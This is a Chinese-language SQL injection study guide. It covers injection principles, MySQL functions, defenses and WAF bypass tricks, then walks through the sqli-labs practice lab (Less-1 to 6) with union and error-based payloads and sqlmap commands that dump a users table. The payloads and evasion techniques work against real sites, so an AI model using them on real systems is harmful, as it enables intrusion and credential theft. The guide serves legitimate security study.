1. SQL注入总结
1.1 SQL注入原理
1.1.1 什么是SQL注入
SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1.1.2 SQL注入产生的条件
- 传递给后端的参数是可以控制的
- 参数内容会被带入到数据库查询
- 变量未存在过滤或者过滤不严谨
1.2 SQL注入常用函数及含义
1.2.1 substr()函数
- 语法:substr(string,start,length),其中string为字符串,start为起始位置,length为字符长度,返回结果为字符串
若length为下面情况,返回整个字符串的所有字符。
- length不指定。
- length为空。
- length为负值。
- length大于字符串的长度。
举个例子:
substr(user,1,2)
盲注的过程中需要逐一猜解字符,过程中需要截取字符串中其中一个字符进行判断。
1.2.2 ascii()函数
ascii()呢准确的说不算是函数,其实ascii()就是返回字符的ascii码。
- 语法:ascii(char),返回结果为字符对应的ascii码值。
盲注的过程中需要逐一猜解字符,过程中需要计算ascii码,进行数值比较从而确定字符。
下面我们把ascii()和substr() 配合使用,举个例子:
ascii(substc(database(),1,1))
这个语句意思就很明显了,意为substr()函数从database()库名的第一位开始截取,截取长度为1。
然后通过计算ascii码,进行数值比较从而确定字符。
1.2.3 concat函数
concat函数主要功能就是将多个字符拼接成一个字符串。
- 语法:concat(str1,str2,......),返回的结果为连接参数生成的新字符串,如果有任何一个参数为NULL,则返回值就为NULL。
1.2.4 length函数
- 语法:length(str1),返回结果为字符串长度。
在SQL注入的过程中,经常需要计算字符串的长度,例如在不回显的场景下进行注入,一般被称为盲注,这种情况下需要逐一猜解字符,猜解过程中首先就要计算字符串长度。
1.2.5 left、right函数
left函数主要功能也是截取字符串,默认从左截取。right同理。
- 语法:left(string,length),其中string为长度,返回结果为子字符长度。
1.2.6 if函数
根据条件表达式的结果返回不同的值
- 语法:if(confition,value_if_ture,value_if_false)
其中confition为条件表达式,value_if_ture,value_if_false分别是条件为真或假的时候表达的ture或flase作为条件返回的值
在SQl注入中,if函数和sleep函数结合使用,实现SQL注入中的时间盲注。
1.2.7 updatexml函数
改变文档中符合条件的节点的值
- 语法:updatexml(xml_document,XPath_string,new_value)
其中xml_document为XML文档对象,XPath_string是XPath格式的字符串,报错注入时,需要写入错误的格式来显示错误的信息,new_valiue是string格式替换查找到符合条件的的数据,在注入时可以加入任意字符,执行XPath_string中SQL语句,获取相应的信息。
SQL注入过程中,若无数据回显,但是存在报错页面的数据回显,会用到报错注入中。
1.2.8 extractvalue()函数
- 语法:extractvalue(XML_document, XPath_string)
XML_document是String格式,为XML文档对象的名称;XPath_string(Xpath格式的字符串),注入时可操作的地方。
以字符型注入举个例子:
id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--
可操作的地方为concat(0x7e,database(),0xte),当然concat()内容可灵活替换。
1.3 SQL注入防御手段
- 使用预编译语句(Prepared Statements):这是预防SQL注入的最有效方法之一,通过这种方式,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构,因此可以避免注入攻击。
- 使用存储过程:存储过程也可以像预编译语句一样防止SQL注入,因为它们同样使用参数化查询。
- 使用ORM(对象关系映射)工具:许多现代编程框架提供了ORM工具,它们可以自动进行参数化查询,从而降低直接编写SQL语句的风险。
- 验证用户输入:对所有用户输入进行验证,拒绝不符合预期格式的输入,可以减少注入攻击的风险。
- 使用适当的错误处理机制:不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。
- 最小化数据库的权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户,这样即使发生注入攻击,攻击者能做的也非常有限。
- 定期更新和打补丁:保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。
- 使用Web应用防火墙(WAF):WAF可以帮助识别和阻挡SQL注入攻击。
- 定期进行安全审计和代码审查:检查潜在的安全漏洞,及时修复。
- 使用参数化查询:参数化查询可以将应用程序输入的值与查询逻辑分离,从而避免攻击者注入恶意的SQL代码。这种方法能够有效防范大多数的SQL注入攻击。无论何时,只要可能都应该使用参数化查询,而不是拼接SQL字符串。
1.4 SQL注入常用绕过waf的方法
1.4.0 什么是WAF
WAF是Web应用程序防火墙(Web Application Firewall)的缩写。它是一种网络安全技术,用于保护Web应用程序免受各种网络攻击,如SQL注入、跨站脚本攻击等。WAF可以检测和阻止恶意流量,从而增强Web应用程序的安全性。
WAF绕过的思路:让WAF的检测规则识别不到你所输入的敏感字符
WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。
1.4.1 通过大小写混用
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
union select ---> unIOn SeLEcT
1.4.2 编码绕过
针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等。
union select 1,2,3# =union%0aselect 1\u002c2,3%23
1.4.3 双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
UNIunionON ,SELselectECT anandd
1.4.4 换行(\N)绕过
select * from admin where username = \N union select 1,user() from admin
1.4.5 同义符号代替绕过
and=&&
or=||
=(等于号)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格
1.4.6 HTTP参数污染
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/
1.4.7 内联注释绕过
若WAF对关键函数,如database(),version() 等进行过滤;可以使用内联注释进行绕过;
select database();
--这样会被过滤掉;/* */为内联注释
--但是/*xx!xxx*/内联注释感叹号后面的部分会被执行
select database/* */();
2. sqli-labs(手工注入 Less-1~5)
2.1 Less-1
2.1.1 判断是否存在sql注入
1. 根据提示,输入数字值的ID作为参数,输入?id=1
2. 通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
3. 接下来判断是字符型还是数字型,sql语句是否是拼接。
输入?id=2和?id=2-1 回显的结果相同,从而判断出是字符型,而非数字型。
4. 根据上述分析,判断出是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的的。
2.1.2 联合注入
1. 首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
根据上图回显结果可以判断出共有3列。
2. 确定表格里面哪一列是在页面显示的。
?id=-1'union select 1,2,3--+
可以看到,第二列和第三列里面的数据是显示在页面的。
3. 获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。
?id=-1'union select 1,database(),version()--+
通过结果知道当前数据看是security,版本是5.7.26。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
4. 刚刚通过sql语句查询,知道当前数据库有四个表。根据表名猜测用户的账户和密码可能是在users表中。接下来就是得到该表下的字段名以及内容。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容。
从上图可以看到,查询到了username和password。
5. 通过上述操作可以得到两个敏感字段username和password。接下来就要获取到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username , id , password) from users--+ #加了一个id可以分割一下账户和密码。
6. 通过上述一系列操作,最后成功得到了数据库中的用户名和密码。
2.2 Less-2
1. 首先,和第一关进行一样的判断。
2. 当输入单引号时,可以看到报错,且报错信息看不到数字。结合上面的测试结果,猜测应该是数字型注入。
3. 通过上面的分析,结题步骤和上面第一关是差不多的。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username , id , password) from users #加了一个id可以分割一下账户和密码。
因此,过程就不再重复了,直接放结果了

2.3 Less-3
1. 老样子,首先进行和第一关一样的判断。
通过上面的测试,发现当输入 ?id=1' 的时候看到页面报错信息。推断sql语句可能是单引号字符型并且有括号。因此不仅需要闭合单引号而且还要考虑括号。
2. 根据上面的分析,同时结合第一题时的解题思路,只需要修改一下payload,过程不变
?id=1')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username , id , password) from users--+ #加了一个id可以分割一下账户和密码。
ps: 上面的payload和第一问的区别在于需要闭合单引号和括号。
3. 其中的过程还是不再啰嗦,直接上结果
2.4 Less-4
1. 第一步仍然是进行和第一关相同的判断。
通过上面的测试,发现:
- 当输入 ?id=2 和 ?id=2-1 的页面回显结果相同;
- 当输入 ?id=1' 的时候看到页面回显结果不变,和 ?id=1 相同;
- 当输入 ?id=1" 的时候,页面返回报错信息,并且在报错信息中还有括号;
通过上述的测试分析,可以推断出sql语句可能是双引号字符型并且有括号。因此不仅需要闭合双引号而且还要考虑括号。
2. 根据上面的分析,同时结合第一题时的解题思路,仍然只需要修改一下payload,过程不变。
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+ #加了一个id可以分割一下账户和密码。
ps:Less-4和Less-3的区别就在于由单引号闭合变为双引号闭合,其余不变。
3. 话不多说,直接上结果
2.5 Less-5
1. 还是老样子,进行和第一关相同的判断。
刚刚输入 ?id=1 ,我就蒙了,页面没有回显。然后试了试其他的,发现仍然没有。
但是当我输入 ?id=1' 是,页面提示报错。
2. 根据上面的页面返回结果,得知是字符型并且是 ' 闭合。
但是它和前面四关不一样的点在于,页面虽然有东西,但是只有对于请求对错出现不一样的页面,而其他的就没有了。这个时候用联合注入就没有用了,因为联合注入是需要页面有回显的,因此选择报错注入。报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的,是一种页面响应形式。
响应过程:
用户在前台页面输入检索内容后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面
报错注入存在基础:后台对于输入输出的合理性没有做检查
3. 判断注入点
?id=1' and 1=1 --+
发现页面无回显。
ps:查询语句正确时页面会打印You are in...........,错误则不显示
4. 报错注入爆库名
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+ #0x7e代表的是~,这里的作用是用两个~将查询结果包裹起来
ps: 这里也可用extractvalue()函数,两个函数的使用方法在上面 1.2 中有介绍,可以去looklook。
成功得到库名:security
5. 报错注入爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
ps:上面concat中的select语句在Less-1中已经解释过了,可以查询出所有的表。
如上图,成功得到表名:emails,referers,uagents,users
6. 报错注入爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
如上图,成功得到列名:id,username,password
7. 报错注入爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
2.6 总结
Less-1~5总的来说可以分为两类。
Less-1~4的结题步骤基本一致,且都是使用联合注入,只是在细节上有些许差别,多了些单引号、双引号、括号闭合等。
Less-5和前面4个不同的点在于页面没有回显了,只有一行输出正确or错误。这就无法使用联合注入,只能使用其他的如报错/布尔/时间注入等,这里使用的报错注入。
Less-1~5的payload总体上来说是一样的,只是多了些细节上的处理,比如说需要闭合多的单引号、括号等等。报错注入的payload则是在前面的基础上加了一些函数,来实现显示出信息。sql注入常用的一些函数在上面的1.2中都有介绍,可以去看看。
3. SQLi手工注入步骤总结
3.1 判断是否存在注入点
1、登录2、注册3、留言4、验证用户身份所属5、查询某日xx信息6、订单操作.......
3.2 判断字段数量
'order by number--+
-- 注释
3.3 判断字段前端回显位置
3.4 判断数据库信息
利⽤内置函数暴数据库信息
version() -- 版本;
database() -- 数据库;
user() -- ⽤户;
不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤)
and 1=2 union all select version() and 1=2
union all select database() and 1=2
union all select user()
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 -- 返回正常说明为root
3.5 查找数据库名
3.6 查找数据库表名
union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
注意字段长度,1,payload,2,3,…#
3.7 查找列名
-1' union select 1,(select group_concat(column_name) from information_schem a.columns where table_name='biaoming'),3,4#
3.8 查数据
-1' union select 1,(select columnsname from tablename),3,4# 1
4. sqli-labs(sqlmap Less-6)
Less-6
1. 先测试一下,查看是否存在SQL注入点
python sqlmap.py -u http://127.0.0.1:83/Less-6/?id=1
通过上面的测试结果可以看到,变量 id 存在注入点,且使用的是GET方法。注入的方法有布尔盲注、报错注入和时间盲注。
2. 获取当前使用的数据库名
python sqlmap.py -u http://127.0.0.1:83/Less-6/?id=1 --dbms=MySQL --current-db
ps:如果要获取所有的数据库名,就用 --dbs
可以看到,当前的数据库名为:security
3. 获取表名
python sqlmap.py -u http://127.0.0.1:83/Less-6/?id=1 --dbms=MySQL -D 'security' --tables
如上图,成功得到了数据库中的表名。
4. 爆字段
python sqlmap.py -u http://127.0.0.1:83/Less-6/?id=1 --dbms=MySQL -D 'security' -T 'users' --dump
最后成功得到了数据。
ps:如果数据较多,爆出的数据也存在了csv文件中,方便查看和进行分析。